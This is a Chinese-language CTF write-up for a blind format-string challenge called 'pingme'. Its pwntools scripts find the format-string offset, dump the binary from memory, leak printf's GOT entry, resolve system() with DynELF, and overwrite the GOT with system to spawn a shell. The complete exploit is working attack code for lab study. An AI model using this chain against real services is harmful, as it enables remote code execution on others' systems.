文件下载
注意这题是无源码和二进制文件的题目(blind fmt)
运行发现是输入字符串然后回显, 输入长字符常看是否崩溃判断溢出, 输入格式化字符串查看输出判断格式化漏洞
初步判断有格式化漏洞, 且AAAA在第7个参数位置, 也可以用pwntools的fmtstr模块确认位置
from pwn import *
io = process('./pingme')
def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print 'offset: ', offset
既然有格式化漏洞, 接下来就可以把二进制文件从内存中dump下来
先启动端口
socat tcp4-listen:10001,reuseaddr,fork exec:./pingme
from pwn import *
def dump_memory(start_addr, end_addr):
result = ""
while start_addr < end_addr:
io = remote('127.0.0.1', '10001')
io.recvline()
payload = "%9$s.AAA" + p32(start_addr)
io.sendline(payload)
data = io.recvuntil(".AAA")[:-4]
if data == "": data = "\x00"
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
result += data
start_addr += len(data)
io.close()
return result
start_addr = 0x8048000
end_addr = start_addr + 0x1000 #dump 0x1000 data should be enough
code_bin = dump_memory(start_addr, end_addr)
with open("pingme.bin", "wb") as f:
f.write(code_bin)
f.closed()
注意这有个小知识, 那就是32位程序在386系统中的虚拟地址都是从0x08048000开始
查看printf的GOT地址: 0x08049974
接下就是泄露printf()的内存地址, 两种方法
方法一: 拿到libc.so, 归约到正常pwn题(
先泄露printf的虚拟地址, 然后到libc-database查询libc的版本拿到libc.so, 然后就可以计算出system()的地址
from pwn import *
io = remote('127.0.0.1', 10001)
printf_got = 0x08049974
def get_printf_addr():
io.recvline()
payload = "%9$s.AAA" + p32(printf_got)
io.sendline(payload)
data = u32(io.recvuntil(".AAA")[:4])
log.info("printf address: 0x%x" % data)
return data
get_printf_addr()
printf(): 0xf7d99020
… 之后补充libc方法exp
方法二: 使用DynELF进行无libc利用
from pwn import *
io = remote('127.0.0.1', 10001)
printf_got = 0x08049974
def leak(addr):
io.recvline()
payload = "%9$s.AAA" + p32(addr)
io.sendline(payload)
data = io.recvuntil(".AAA")[:-4] + '\x00'
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
return data
data = DynELF(leak, printf_got)
system_addr = data.lookup('system', 'libc')
print(hex(system_addr))
完整exp
from pwn import *
io = remote('127.0.0.1', 10001)
printf_got = 0x08049974
def leak(addr):
io.recvline()
payload = "%9$s.AAA" + p32(addr)
io.sendline(payload)
data = io.recvuntil(".AAA")[:-4] + '\x00'
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
return data
data = DynELF(leak, printf_got)
system_addr = data.lookup('system', 'libc')
printf_addr = data.lookup('printf', 'libc')
log.info('system address: 0x%x' % system_addr)
log.info('printf address: 0x%x' % printf_addr)
payload = fmtstr_payload(7, {printf_got: system_addr})
io.recvline()
io.sendline(payload)
io.recv()
io.sendline('/bin/sh')
io.interactive()
总结
这段代码是泄露格式化漏洞参数位置的板子, 可以打熟了
from pwn import *
io = process('./binary') # change file name
def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print 'offset: ', offset